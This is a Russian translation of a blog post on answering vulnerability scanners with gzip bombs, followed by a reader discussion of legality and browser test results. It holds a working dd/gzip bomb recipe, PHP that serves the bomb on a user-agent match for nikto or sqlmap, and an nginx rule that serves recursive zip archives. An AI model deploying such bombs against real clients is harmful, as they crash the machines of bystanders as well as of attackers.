Защищаем сайт с помощью ZIP-бомб

https://blog.haschek.at/2017/how-to-defend-your-website-with-zip-bombs.html
  • Перевод

Старые методы по-прежнему работают


[Обновление] Теперь я в каком-то списке спецслужб, потому что написал статью про некий вид «бомбы», так?

Если вы когда-нибудь хостили веб-сайт или администрировали сервер, то наверняка хорошо знаете о плохих людях, которые пытаются сделать разные плохие вещи с вашей собственностью.

Когда я в возрасте 13 лет впервые захостил свою маленькую Linux-коробочку с доступом по SSH, я смотрел логи и каждый день видел IP-адреса (в основном, из Китая и России), которые пытались подключиться к моей сладенькой маленькой коробочке (которая на самом деле была старым ноутом ThinkPad T21 со сломанным дисплеем, жужжавшим под кроватью). Я сообщал эти IP их провайдерам.

На самом деле если у вас Linux-сервер с открытым SSH, то можете сами посмотреть, сколько попыток подключений происходит ежедневно:

grep 'authentication failures' /var/log/auth.log


Сотни неудачных попыток авторизации, хотя на сервере вообще отключена авторизация по паролю и он работает на нестандартном порту

Wordpress нас приговорил


Ладно, признаем, сканеры веб-уязвимостей существовали и до Wordpress, но после того, как эта платформа стала настолько популярной, большинство сканеров начали проверять неправильно сконфигурированные папки wp-admin и непропатченные плагины.

Так что если маленькая начинающая хакерская банда хочет получить немного свеженьких учёток, они скачают один из этих сканерских инструментов и натравят его на кучу веб-сайтов в надежде получить доступ к какому-нибудь сайту и дефейснуть его.


Образец логов при сканировании инструментом Nikto

Вот почему все серверы и админы веб-сайтов имеют дело с гигабайтами логов, полными попыток сканирования. Так что я подумал…

Можно ли нанести ответный удар?


После экспериментов с возможностью потенциального применения IDS или Fail2ban я вспомнил о старых добрых ZIP-бомбах из прошлого.

Что за штука такая — ZIP-бомба?


Как выяснилось, сжатие ZIP великолепно справляется с повторяющимися данными, так что если у вас имеется гигантский текстовый файл, заполненный повторяющимися данными вроде всех нулей, он очень хорошо сожмётся. В смысле, ОЧЕНЬ хорошо.

Как показал 42.zip, можно сжать 4,5 петабайта (4 500 000 гигабайт) в 42 килобайта. Когда вы попытаетесь посмотреть содержимое архива (извлечь или разархивировать его), то у вас, вероятно, израсходуется всё дисковое пространство или оперативная память.

Как сбросить ZIP-бомбу на сканер уязвимостей?


К сожалению, веб-браузеры не понимают ZIP, но зато они понимают GZIP.

Так что первым делом создадим 10-гигибайтный файл GZIP, заполненный нулями. Можно сделать много вложенных сжатий, но начнём с простого.

dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip


Создание бомбы и проверка её размера

Как видите, её размер 10 МБ. Можно было сжать и получше, но пока хватит.

Теперь установим PHP-скрипт, который доставит её клиенту.

<?php
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');

Готово!

Теперь мы можем использовать её в качестве простой защиты:

<?php
$agent = filter_input(INPUT_SERVER, 'HTTP_USER_AGENT');

//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
      sendBomb();
      exit();
}

function sendBomb(){
        //prepare the client to recieve GZIP data. This will not be suspicious
        //since most web servers use GZIP by default
        header("Content-Encoding: gzip");
        header("Content-Length: ".filesize('10G.gzip'));
        //Turn off output buffering
        if (ob_get_level()) ob_end_clean();
        //send the gzipped file to the client
        readfile('10G.gzip');
}

function startsWith($a, $b) { 
    return strpos($a, $b) === 0;
}

Очевидно, этот скрипт не образец элегантности, но он может защитить нас от скрипт-кидди, упомянутых раньше, которые вообще понятия не имеют, что в сканерах можно изменять user-agent.

Итак… Что будет, если запустить этот скрипт?


Клиент Результат
IE 11 Память расходуется, IE падает
Chrome Память расходуется, демонстрируется ошибка
Edge Память расходуется, утекает, грузится вечно
Nikto Как будто нормально сканирует, но не выдаёт результат
SQLmap Большой расход памяти, затем падает
Safari Большой расход памяти, затем падает и перезагружается, затем опять большой расход памяти и так далее...
Chrome (Android) Память расходуется, демонстрируется ошибка

(если вы проверяли бомбу на других устройствах/браузерах/скриптах, пожалуйста, сообщите мне, и я добавлю результат в таблицу)


Результат загрузки скрипта в Chrome

Если вам нравится рисковать, попробуйте сами!
Поделиться публикацией
Похожие публикации
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама
Комментарии 180
  • +4
    Фидо вспомнилось, давно это было
    • +5

      Аркмыльньная война,
      Коннект V42,
      Модем сошёл с ума-
      Такая связь достала...

      • +3

        То ли Би-2 "Полковнику никто не пишет", то ли Земфира "Созрела". :)

    • +4
      Эх, вспомнилась фраза из одной эхо-конференции:
      — ЗаUUEчить бы тебе q3arena.pak!
      — Я тебе щас своп заюючу!
      • +1
        «собирайтесь хабы в кучу, щас я своп вам заЮЮчу». ну и таки с развитием fido over ip, народ начал пытаться устроить DDoS ради прикола.
    • +1
      Читал когда-то про псевдоадминку с логином\пассом admin, которая при входе выдавала пачку эксплоит китов в ответ. Проблемы две:
      1) часто так можно положить чей-нибудь левый хостинг, зараженный малварью, и оказаться крайним
      2) во многих странах «активная защита» приравнивается к хакингу и является уголовно наказуемой. Например, в Германии. И в отличии от нападающих, все данные явно указывают на вас — владельца домена\хостинга, потому что у вас и не было в мыслях как-то срываться…
      • +13
        Отправка сжатого файла большого размера это же не активная атака. Это тоже уголовно наказуемо?
        • +2
          мое личное имхо не юриста: зависит от трактовки законов и правоприменения в стране
          • 0
            С юридической точки зрения важен умысел. Если докажут, что вы это сделали осознавая, что можете кому-то нанести вред, к вам наверняка будут вопросы. Если докажут, что вы это сделали специально, чтобы наносить вред, будете отвечать.
            • 0
              Юридически это самооборона.
              • 0
                Для этого требуется выполнение ряда условий. Как минимум нужен факт нападения с реальной угрозой причинения вреда. Если угроза мнимая, или не дай бг сами спровоцируете, или причиненный вашими действиями ущерб окажется не соразмерен угрозе, или пострадают третьи лица — будете отвечать на общих основаниях.
              • 0
                Хакер подаст в суд?
                • 0
                  Пострадавший. Это как подключить электрошокер к двери в квартиру, или поставить у входа капкан для воров.
                  • 0
                    Вот не понимаю этого, моя квартира, хочу, чтоб коридоре лежал капкан — кому какое дело до этого?
                    • 0
                      Потому, что частная собственность это не столько то, что вы имеете, сколько повод, при определенных обстоятельствах, иметь вас. Или как писал вождь революции: «жить в обществе и быть свободным от общества нельзя.»
                      • 0
                        Напр, за бутылку отравленной водки, «забытой» на столе дачного домика — людей вполне себе сажают. Но там просто — жизнь человека несоизмереима с любым возможным ущербом от воровства в том домике. Почти во всех странах, кстати, сажают, если докажут умысел в отравлении (водки). Причём не за «по неосторожности» сажают, а за «предумышленное».

                        Но в данном случае («бесконечный zip-файл»), всё же вряд ли выйдет натянуть сову на глобус.
                        • +3
                          жизнь человека несоизмереима с любым возможным ущербом от воровства в том домике

                          Это самая большая ошибка современного общества. Жизнь вора не должна стоить ничего.
                          • –1
                            Это самая большая ошибка современного общества. Жизнь вора не должна стоить ничего.

                            Какая чушь :( Если человек нуждается — значит его жизнь ничего не стоит? Рано или поздно в нужде возникнет необходимость воровства, если нужда не будет перекрыта честным путем. Если же человек уже богат и ворует — то это болезнь и она должна лечиться.
                            Одно дело, если все выжывают и кто-то ворует. Другое дело, когда все живут нормально и кто-то выживает.

                            • +1
                              вот эти вот все бутылки водки, капканы, итд — это ж против тех, кто НЕ ХОЧЕТ честным путем, и «выживает», профессионально обнося дачные поселки осенью-зимой. либо те же бомжи, которые в массе своей добровольно до этой жизни допились.
                              соответственно возникает встречный вопрос — а почему их жизнь должна чего-то стоить, если они сами ее априори не ценят?
                              • 0

                                Потому что иногда они меняют свою жизнь. Иногда алкаш рождает не алкаша. И т.д. и т.п. У меня примеров из жизни и истории хоть отбавляй. Также как и обратных примеров, когда из хорошего в говно уходят. Жизнь и будущие жизни не заменимы, все говно, что вы у себя там храните всегда можно получить.

                                • 0
                                  не спорю, меняют. если успеют. но несколько сомневаюсь в репрезентативности вашей выборки.

                                  но все равно не считаю это достаточным аргументов против таких вот закладок. хотя с бутылкой водки на видном месте пожалуй все же перебор.
                                  опять же моральный ущерб что от самого факта кражи, что от утраты вещей, которые могут быть малой денежной, но большой эмоциональной ценности.

                                  в общем случае я за то, чтоб те или иные ловушки были в ЛЮБОМ частном доме, который остается без присмотра на заметное время. тогда туда лезть будут либо действительно от отчаяния, либо профессионалы — которых уже никому не жалко.
                                  • 0

                                    А еще шпана будет лазить. Знаю, сам лазил, ничего не брал, хотя пацаны вполне хотели прибрать. Просто желание приключений. Так что не только алкаши и отчаянные лазят.

                                    • 0
                                      Естественный отбор.
                                      • 0
                                        молодняк всегда найдет чем убиться, способом больше, одним меньше…
                            • 0
                              Ещё один нюанс: это могла быть не отравленная водка, а спиртовой раствор какого-нибудь мухомора для наружного применения, в бутылке из-под водки.
                              • +1
                                А надо то было всего лишь снять этикетку, и доказать непредумышлиность было бы в разы проще
                                • 0
                                  В принципе, легитимное право на насилие есть только у сильныхгосударства. Всех остальных позиция «а ты докажи» автоматически ставит на один уровень с теми, против действий которых это затевается — хоть юридически, хоть морально («преступление и наказание» и т.п.) Исключением является право на необходимую оборону, которое позволяет действовать в момент объективного нападения, если в это время нет возможности получить защиту у уполномоченных лиц; в основном от страха, нежели от злости. Свобода воли дает возможность отступать от принципов, но при этом желательно осознавать ситуацию шире и смотреть на последствия дальше, чем кучка вещей на заветных сотках.
                                  • 0
                                    Так можно дотянуть до абсурдного сценария где вор схватив стойку ножей споткнулся и получил несколько ножевых ранений после чего скончался, а виноват владелец квартиры?

                                    Или залез в мастерскую и выпил растворителя, там можно много примеров придумать
                                    • 0
                                      В юридическом смысле это как судья решит. Суд не точная наука, а состязательный процесс, где исход зависит не только от принятых в конкретной стране правил игры, которые называются правой системой (где-то прописанными в законах, где-то в базе прецедентов, где-то еще как), а еще кучи других факторов — в одном комменте не расскажешь. В моральном аспекте, владелец наверняка и без этого будет осознавать, с какой целью там оказались ножи и растворитель, и мог-ли предпринять какие-то действия, чтобы не допустить суицида (запрещено в РФ).
                                      • +1
                                        между неосторожностью пострадавшего и вашим умыслом есть конкретная грань
                                        если вы на даче оставляете на столе бутылку из-под водки, наполненную метанолом, скорее всего, вы это делаете с умыслом, потому что в противном случае вы написали бы на ней «метанол, осторожно, яд!», чтобы самому не попасть
                                        вот если бомж хлебнёт метанола из бутылки с большой и заметной надписью «метанол», хозяину ничего не будет
                                        • 0

                                          А если «метанол» написано большими китайскими иероглифами? Как установить, умел ли при жизни покойный читать по китайски?

                                          • 0
                                            У судьи возникнет вопрос: «Зачем вы написали по-китайски, если ваш родной язык русский? Члены вашей семьи все владеют китайским?»
                                            • 0

                                              Гражданин судья, мой подзащитный позавчера записался на курсы китайского, вот справка. КМК, доказывать/опровергать как наличие злого умысла, так и нанесение вреда можно бесконечно. Особенно при наличии контента с огромной степенью сжатия.

                                              • 0
                                                Вот для решения таких вопросов и взвешивания аргументов придумали несколько тысяч лет назад судью. Он и будет взвешивать доводы.

                                                И никакой неопределенности нет. То, что в бутылке смертельная отрава, посудимый знал. Сообщать другим не собирался. Поместил в место хранения продуктов. Виновен. Единственная справка, которая нужна подсудимому, это справка о психической неполноценности для смягчения приговора.
                                            • 0
                                              здравым смыслом
                                              в наших судах его зачастую не хватает, но мы же теоретизируем
                              • 0
                                Пострадавший хакер?
                                «А нас за что?» :)
                                • 0
                                  Кто пострадает, если какой-нибудь шутник в комментах разместит ссылку (бесплатно, без sms) на вашу чудо-западню? Или накатает жалобу в РКН спортлото по приколу — вон люди массово сообщают, что при заходе на определенные урлы нарушается работа их компьютеров.
                                  • 0
                                    Чудо-западня которая аж обваливает браузер!

                                    Размер файла настраивается, можно сделать недопустимый для дешёвых шаред хостингов, откуда идёт большинство атак, и приемлемый для ПК.
                                    • +1
                                      1. Ну в способе автора под угрозу действительно попадает браузер.

                                      Я бы просто отдавал zip файлик без доп. заголовков.
                                      А чучело, которое решило его запросить, пускай самостоятельно разархивирует его. То есть браузеру показалось бы диалоговое окно сохранения.
                                      Дальше пусть включает мозг.
                                      Я бы поступил бы так просто потому, что хакер не будет вручную вбивать адреса в браузере.

                                      2. А нефиг переходить по сомнительным ссылкам.

                                      3. Поэтому у меня пострадал бы только хакер, ну или тормозогло.
                                      Да и то не сильно.
                                      Ну закончилось бы у него место на винте, ну подумаешь.

                                      4. Если пострадает тормозогло, то будет надежда, что следующий раз будет думать головой.
                                      • 0
                                        Похоже, что вы сейчас либо изобрели оружие, которое действует исключительно против негодяев и дураков (до которого пока еще ни кто в мире не додумался и надо срочно патентовать). Либо где-то заблуждаетесь.
                                        • 0
                                          Вы никогда ранее не скачивали с сайтов архивы? :)
                                          • +1
                                            Вопросы в присутствии адвоката, товарищ майор)
                            • 0
                              Даже если это и атака, то какой ущерб будет нести пострадавшая сторона? Ведь вред не наносится.
                              • +1

                                Раньше подобное антивирусы диагностировали как угрозу mail-bomb или что-то вроде этого.

                              • +20
                                Чисто технически — это не атака. Просто старница размером в 10 Гб. Не могут скачать? Ну не мои проблемы :)
                                • +2
                                  Правда и эксплоиты это не что-то сверхъестественное, просто специальная страница в которой странная разметка. Можно было бы отличать по наличию байт-кода, но тоже недостаточно, без байт-кода можно вызвать segfault.
                                  • 0
                                    Эксплоит использует уязвимости в программном обеспечении.
                                    • 0
                                      А как уязвимости определяются юридически? Нельзя ли неумение обработать слишком большой файл без вылета считать уязвимостью?
                                      • 0
                                        Если при этом не происходит доступа к данным или поломки данных — то нет.
                                    • 0
                                      Как с казали выше — эксплойт использует уязвимости, чтобы получить доступ туда, куда в обычном режиме досутп нет, например.

                                      Большая гзипованая страница — это просто большое количество нулей. Браузер самостоятельно его запросил с целью обработать.
                                      • 0
                                        Эксплойт не обязан получать доступ туда куда его нет, это конечно лучший для взломщиков вариант, но даже экспойт позволяющий загрузить процессор уже является эксплойтом. Пример: в ХР н-сот раз в секунду вызывать beep. (Из-за того что внутри полный бардак один вызов beep вызывает сотни других вызовов в т.ч. в ядре и перегружает ОС)

                                        Хороший пример «просто большой страницы ссылки» для ACUNETIX ссылка длиной 268 байт крашит программу (далеко не 10Гб, да?):
                                        Further Analysis reveals that if one of the external domain name length is more than 268 Byte’s, ACUNETIX will be crashed, so if we want to cause a crash, all we need to do is to put some kind of external source at our site, which have the length of 268 Byte’s or more
                                        Обычное переполнение, которое в случае подсовывания ссылки с байт-кодом позволяет получить управление. Источник.
                                    • 0
                                      Эту страницу могут вставить iframe-мом или картинкой в другой сайт и тут уже это выглядит как подстава. Если глубоко не копать — то ваша бомба будет ломать чужой сайт.
                                      • 0
                                        Если кто-то разрешил встраивать iframe с посторонних доменов, то эта zip-бомба — не худшее, что может произойти. А если в img src добавить ее адрес, браузер после получения заголовков без Content-Type: image/smth не станет загружать ее, насколько я понимаю.
                                        • 0
                                          Согласен что проблема не самая страшная, но одна из.

                                          Да и можно подставиться специально.
                                          Встречал такую практику: есть 2 конкурента малого бизнеса. один на своем сайте ставит 5 ифреймов от сайта конкурента, тем самым нагружает диск, сеть и процессор конкуренту. Плюс к тому конкурента понижают в выдаче за накрутку.
                                  • +1
                                    Открыл с мобильного хрома, с включенной «экономией трафика»… Задумался скольким хаброжителям нужно одновременно попробовать сходить по вашей ссылке для достижения ощутимого эффекта и как потом гугл будет «отмазываться» ))
                                    • 0
                                      Учитывая, что у гугла в браузерах это ловится лучше всего, наверняка о своих серверах они позаботились и поставили разумные ограничения на используемую память)
                                    • 0
                                      Если вам нравится рисковать, попробуйте сами!
                                      Comodo Dragon поднял окно: «Подтвердите действие на blog.haschek.at: Do you really want to execute the gzip bomb? your device may freeze up»
                                      Или это сайт там даёт предупреждение от случайности?
                                      • +2
                                        Это js на сайте.
                                        • +2
                                          Выжрал ~гиг оперативы (отдельным процессом c низким приоритето), сбросил и написал: «Опаньки… Не хватает памяти для показа этой страницы»
                                        • +4
                                          Firefox прошел испытание хорошо. Сначала быстро набрал в весе до 10Гб (многопоточная распаковка), а потом постепенно (с загрузкой одного ядра) высвобождал память обратно. Opera12 — как будто я открыл обычный сайт легонько перегруженный js — загрузка одно ядра 10%, памяти стала занимать на 100мб больше.
                                          Перевод хороший, я не успел буквально последние два абзаца, хотя и есть неточности, оригинал просто просит чтобы его улучшили.
                                          • 0

                                            Тоже больше 10 гиг памяти? У меня 16 — тоже переварил нормально, даже лагов в системе не заметил.

                                            • 0

                                              Аналогично, 16 Гб RAM, FF 54 x64, Win 7, дошло до 10 Гб при загрузке двух ядер из четырех на 100%, и до 10 Гб RAM, затем высвободилось.

                                              • 0
                                                Аналогично. Но есть проблема: теперь Firefox после перезапуска раз в ~3 минуты выжирает 10 гигов, а затем медленно их отдаёт.
                                                • 0
                                                  Отключение ghostery мне помогло. (Списались с DistortNeo в личке, у него точно так же)
                                                  Удаление из истории bombp.php вопрос не решает. Так что будьте аккуратнее заходя с включенным Ghostery.
                                                  • 0
                                                    Разобрались, чтобы исправить нужно закрыть Firefox и удалить файл .mozilla/firefox/u0ixn7m5.default/browser-extension-data/firefox@ghostery.com/storage.js из домашней папки (у каждого конечно путь немного отличается).

                                                    Что наводит на подозрения, так это то что Ghostery который призван защищать приватность, сам хранит собственную историю посещений…
                                                    • 0
                                                      Что наводит на подозрения, так это то что Ghostery который призван защищать приватность, сам хранит собственную историю посещений…

                                                      А чего вы ожидали от дополнения с закрытым исходным кодом?
                                                      • 0
                                                        Ну по крайней мере что оно не будет хранить историю в открытом виде или само ходить по ней. Печально. Спасибо, придется пересмотреть чего я там еще понаустанавливал.
                                                • 0
                                                  8 гигов памяти, все нормально, FF набрал на 6.6 гигов в весе, потом постепенно освободил память, музыка на соседней вкладке даже не прекратилось, только интерфейс тормозил немного
                                                  • 0
                                                    В макоси сработало сжатие ОЗУ на вкладке.
                                                  • 0
                                                    Opera 46.0.2597.39. продержалась 19 секунд и выдала:
                                                    Недостаточно памяти
                                                    Браузеру Opera не хватает памяти, либо выполнение процесса для страницы прекращено по какой-то другой причине.
                                                    • +3
                                                      интересно, можно предположить, что если бомба срабатывает, то должна радикально снизится интенсивность повторных попыток аутентификаций с того же адреса
                                                      • 0
                                                        То же самое хотел спросить.
                                                        Плюс если отправлять бомбу взломаным хостам, то у их владельцев уже 2 попоболи.
                                                        • 0
                                                          По вашей ссылке https://blog.haschek.at/tools/bomb.php?bombme=true gzip размером 1.7Гб а не 10 Гб.
                                                          И наверно лучше сжимать командой gzip с параметром --best
                                                          • +1
                                                            При распаковке получилось 10 гб, что-то не так отображением размера в BetterZip
                                                            • +2
                                                              С ключем --best весит так же, но распаковывается в 4 раза дольше.
                                                            • +3
                                                              А какой в этом смысл?

                                                              Большинство таких атак выполняется скриптами с зараженных компьютеров, даже если скрипт и станет распаковывать зип (если поддерживает, ведь не зачем особо, обычному сайту если не сказать что ты его поддерживаешь, то он не станет упаковывать ответ) — то что? У владельца зараженного компьютера компьютер тормозить начнёт?
                                                              • +9

                                                                И тут владелец что-то заподозрит...

                                                                • +1
                                                                  С большей вероятностью скрипт атаки просто не станет слать гзип хедеры, ожидать гзипованного ответа и его распаковывать. И ничего не произойдёт.
                                                                  • +5
                                                                    Ну так запросы без gzip залоговков можно сразу слать в баню :)
                                                                • 0
                                                                  И да, проверил на своей машине, i7-7700K/16GB RAM — хром пытался открыть примерно 15 секунд потом сказал что ran out of memory while trying to display page и всё. Процессор был занят на четверть, памяти заняло максимум 20 процентов, после того как хром прекратил попытки загрузить страницу — все ресурсы моментально вернулись, т.е. практически ничего не произошло.
                                                                  • +1
                                                                    Как это практически ничего не произошло, как минимум процесс сканера был занят 15 секунд и вылетел с ошибкой, вместо того чтобы за долю секунды обработать ответ сервера, и продолжить сканировать дальше.
                                                                  • 0
                                                                    Мне штука понравилась, попробую «заложить бомбы».
                                                                    Как например, если разложить таких огромных файлов в нескольких стандартных местах, как /admin/, /login/, /wp_admin/ ну и т.п., скрипты сканеров с большой вероятностью их захватят и повиснут из-за нехватки памяти, а значит перестанут сканировать сайт дальше.
                                                                    Причем файл может быть 1 — сделать на него символические ссылки.
                                                                  • +3
                                                                    Гугл переводчик не дает открыть страницу :)
                                                                    • 0
                                                                      Palemoon x64 @ Win10 занял одно ядро из четырех. Память без изменений, на десяток вкладок ~350Mb. Вкладка с бомбой показывает анимацию загрузки некоторое время, потом просто белый экран и всё, ядро освобождается. Всё время система и браузер отзываются нормально, остальные вкладки продолжают нормально работать, можно открывать новые.
                                                                      • –1
                                                                        После анализа лог файлов решил влепить в конфиг nginx такой костыль:
                                                                        location ~* "^/(archive|auth|backup|clients|com|dat|dump|engine|files|home|html|index|master|media|my|mysql|old|site|sql|website|wordpress)\.zip$" {
                                                                        default_type application/zip;
                                                                        root /usr/www/dummy;
                                                                        rewrite ^(.*)$ /r.zip break;
                                                                        max_ranges 0;
                                                                        limit_rate 2;
                                                                        }

                                                                        Аналогично для gz и tgz. Правда в моём случае принцип бомб немного другой, внутри архива другой архив, и так до бесконечности. Наверное имеет смысл к такой бомбе добавить ещё и большой пустой файл, чтобы побыстрее память кончалась у атакующей жертвы.
                                                                        • +6
                                                                          А кто это всё будет распаковывать входя в следующий архив до бесконечности?
                                                                        • +4
                                                                          Думаю сначала нужно понять разницу между скачиванием файла архива и архивацией отдаваемого потока данных.
                                                                          https://en.wikipedia.org/wiki/HTTP_compression
                                                                          • –1
                                                                            Допустим я в курсе. И что?
                                                                            • +4

                                                                              Вероятно то, что даже если скрипт-зловред скачает ваш r.zip у него не будет ни одной причины пытаться его распаковывать. Или вы полагаете, что таки придёт надзирающий за скриптом скрипт-кидди, увидит скачанный файл и из любопытства полезет в него ручками? Но зачем ему это?

                                                                              • 0
                                                                                Не знаю даже, зачем сканеры бродят по интернету и пытаюсь скачать backup.zip и прочие перечисленные файлы. И они не просто проверяют их наличие, а скачивают их зачем то. Предполагаю, что после загрузки они их распаковывают, и не знаю даже почему, но мне думается, что некоторые это делают автоматически. Можно даже предположить, что некоторые из них делают это рекурсивно, составляя список файлов содержимого архива. И да, это не тот же самый способ, который описан в статье, это просто из той же оперы — приколов над сканерами и ботами.
                                                                                • 0
                                                                                  Предполагаю, что после загрузки они их распаковывают, и не знаю даже почему, но мне думается, что некоторые это делают автоматически. Можно даже предположить, что некоторые из них делают это рекурсивно, составляя список файлов содержимого архива.
                                                                                  Подсунуть им рекурсивный zip-архив или архив в 42 КБайт который после всей распаковки занимает 4.5ПБайт, пусть подавятся.
                                                                                  • 0
                                                                                    Именно указанные в статье рекурсивные zip/gz/tgz архивы сейчас и отдаю, в надежде что их кто-нибудь, когда-нибудь распакует до конца.
                                                                                  • 0
                                                                                    Разница в том, что когда сканеры запрашивают backup.zip они и ожидают увидеть ZIP.
                                                                                    • 0
                                                                                      Так сервер и отдаёт zip. Конкретнее r.zip, его можно скачать по ссылке на статью «рекурсивный zip-архив» комментарием выше.
                                                                                    • 0

                                                                                      Ну, они же что-то конкретное ищут, а не просто весь мусор собирают по интернету. если б я писал что-то подобное, то делал бы что-то вроде:
                                                                                      unzip -l backup.zip ¦ grep etc/passwd
                                                                                      но могут быть и совсем глупые скрипт-кидди, конечно.

                                                                                  • 0
                                                                                    Разница в том, что отдача ответа в виде gzip это естественная реакция сервера. Тут получается неожиданным только размер этого самого ответа, и для клиента ответ выглядит, как будто очень большая html страница пришла (ну мало может там где-то ошибки в цикле выпадали). А поскольку сканеру нужно прочитать, что же там в ответе. Нужно сразу сделать декомпрессию. И тут уже зависит от конкретной реализации. А учитывая, что в основном разработчики не ожидают такой подставы, то декомпрессия ответа идет в лоб, т.е. тупо в память на лету, не делая декомпрессию только начала ответа или прочих оптимизаций.
                                                                                    А в случае с zip сканер видит левый Content-type, и либо вообще не читает ответ с таким типом дальше заголовков, либо скачивает, но ничего с ним дальше не делает (так как для этого в отличии от первого случая, нужно отдельно обрабатывать конкретно zip, а в сканере вероятно даже нет zip-ридера).
                                                                                    • 0
                                                                                      Разница в том, что подходы разные. В моём комментарии описано совсем не тоже самое, что в статье. И в моём случае скорее прикол в limit_rate, чем в зип-бомбе. И действительно не будет проблем с занятой памятью при попытке скачать файл. Просто файл будет качаться очень долго.

                                                                                      Про левый content-type не понял. Если клиент запросил zip файл, то чем его может тип application/zip не устроить? Форматирование комментариев хабра съело строку. Если что, то строка выглядит так:
                                                                                      "^/(archive|auth|backup|clients|...|site|sql|website|wordpress)\.zip$" {
                                                                                      • 0
                                                                                        Ну да у вас location обрезается, и складывалось ощущение, что вы вместо html страничек отдаете zip-ы.
                                                                                • 0

                                                                                  А почему rewrite вместо try_files?

                                                                                  • 0
                                                                                    Возможно в данном случае правильнее было бы использовать try_files, но по-моему разница между rewrite break и try_files не принципиальна.
                                                                                • 0
                                                                                  Я написал (реверс) прокси-прослойку между php-fpm и точкой входа, анализирующую источник, uri, параметры запросов на предмет наличия XSS, инъекций. Успешно оберегаются даже дырявые скрипты. В планах полное покрытие OWASP. Если кому то необходимо, обращайтесь за бинарниками.
                                                                                  • 0
                                                                                    Есть подобные вещи для apache2 и nginx https://habrahabr.ru/post/228339/ https://github.com/SpiderLabs/ModSecurity-nginx https://habrahabr.ru/post/145241/

                                                                                    Хотелось бы узнать, чем Ваше решение лучше, и можно ли получить исходники (с точки зрения безопасности, запускать чьи-то бинари в продакшене — это не вариант)?
                                                                                    • 0

                                                                                      Чем полнее покрытие у таких вот штук — тем вероятнее что что-то сломается.

                                                                                      • 0

                                                                                        Joomla 1.5 защищает?
                                                                                        Можно посмотреть?

                                                                                        • 0
                                                                                          Пока тестируем на WP и легаси скриптах, которые пришлось запустить
                                                                                          • 0
                                                                                            Так будет народу ссылка на github или нет? :)
                                                                                        • 0

                                                                                          Вы написали собственный Web Application Firewall? Их уже существует достаточно много, из открытых — ModSecurity(для apache и nginx) и Naxsi(только для nginx). Чем больше — тем лучше, выкладывайте свой куда-нибудь на github

                                                                                        • +1
                                                                                          Не ZIP бомба, а даже скорее наоборот, но очень эффектно работает:
                                                                                          https://www.netfilter.org/projects/patch-o-matic/pom-external.html#pom-external-TARPIT
                                                                                          • 0
                                                                                            Спасибо за перевод и за напоминание ;).
                                                                                            Хорошо забытое старое и отличный метод не только для WP.
                                                                                            • 0
                                                                                              Edge сначала подвис, продолжая кушать оперативку, а потом просто выдал тот же алерт, что и при открытии страницы был.
                                                                                              • 0

                                                                                                Он упал, "втихаря" переоткрыл вкладку и заново загрузил предыдущий URL. IE11/Edge так себя ведут при фатальных ошибках или срабатывании watchdog timer на какой-либо вкладке.

                                                                                              • 0
                                                                                                truncate вместо dd не пробовали для создания большого файла?)
                                                                                                • +2
                                                                                                  Броузеры понятное дело, качают целиком. Но надо быть совсем тупым скрипт-кидди, чтобы не ограничить длину читаемого буфера хотя бы 8К… тем более, если парсишь сотни страниц.
                                                                                                  • +1
                                                                                                    grep 'authentication failures' /var/log/auth.log

                                                                                                    ни одной попытки

                                                                                                    Linux Mint Chrome Версия 57.0.2987.133 (64-bit)
                                                                                                    Тупо долго писал файл на диск, с притормаживаниями конечно, но работать даже можно было. При закрытии вкладки долго удалял. В терминале вообще без проблем.
                                                                                                    • +3
                                                                                                      ни одной попытки

                                                                                                      Неуловимый Джо, это вы?
                                                                                                      • +1

                                                                                                        )) юмор понял, но нас таких с нестандартным, но > 65000 портом много

                                                                                                    • +1
                                                                                                      Интересно, как будет работать оборудование, скажем у конечного провайдера, которое гипотетически сохраняет весь траффик пользователя? По сети реально передается 10 мегабайт, но чтобы понять содержимое их нужно распаковать. Если есть возможность сохранять их в нераспакованном виде, то это будет просто помойка неиндексированной информации, не поддающейся анализу. А если распаковывать и анализировать, то этому гипотетическому провайдеру понадобятся эти самые петабайты.
                                                                                                      • 0
                                                                                                        А зачем провайдеру это анализировать? Хэш подобьет и будет из кэша отдавать. А анализировать уже другие люди будут, если заинтересуются.
                                                                                                        • 0
                                                                                                          Как провайдер будет понимать, что файл не изменился? Никаких заголовков разрешающих кэширование не передается
                                                                                                          • 0
                                                                                                            Если хеш не изменился, то и файл не изменился.
                                                                                                            • 0
                                                                                                              Если никакие специальные заголовки не используются, то чтобы понять что хеш не изменился нужно скачать файл и посчитать его хеш. То есть скачивание с сервера полного файла всё равно произойдет.
                                                                                                              А вообще, я ни разу не встречал такого провайдера, который бы кэшировал абсолютно весь контент всех юзеров на основе хешей. Да, сервисы вроде cloudflare умеют это делать, но это специальный случай, во всех остальных вариантах запрос без кэширующих заголовков всегда дойдет до сервера
                                                                                                              • 0
                                                                                                                Я думал, этот вопрос относился к закону яровой.
                                                                                                                • +1
                                                                                                                  Вопрос технический, как современное оборудование записывающее траффик пользователей поступает с gzip компрессией: распаковывает или нет?
                                                                                                                  • 0
                                                                                                                    Трафик по уму (и закону, ЕМНИП) должен писаться весь. Ибо даже в «чистом» TCP
                                                                                                                    payload стеганографически передать можно очень много чего — я уж не говорю об уровне HTTP.
                                                                                                                    А вот какое оборудование используется, используется ли и пишет ли оно что-нибудь вообще — это вопрос на который ответ мы навряд ли узнаем.
                                                                                                      • 0
                                                                                                        Я думаю что можно использовать /dev/urandom и архив не нужен
                                                                                                        • +8

                                                                                                          Тогда сам себя заддосишь, так как забьешь канал на передачу.

                                                                                                        • 0
                                                                                                          старенький комп, i3-2105, 4GB, Linux 4.10.0-26, webbrowser-app 0.23+17.04.20170321-0ubuntu1 похрустел винтом и почти сразу выдал ошибку: Что-то пошло не так при отображении https://blog.haschek.at/tools/bomb.php?bombme=true
                                                                                                          • 0
                                                                                                            Links подвис после скачивания 2.7mb
                                                                                                            Lynx успешно скачал и распаковал весь архив не задействовав даже 100 метров. У меня IntelliJ Idea, AndroidStudio и Chrome каждый кушают больше.
                                                                                                            • 0
                                                                                                              А в другом направлении работает?
                                                                                                              • 0
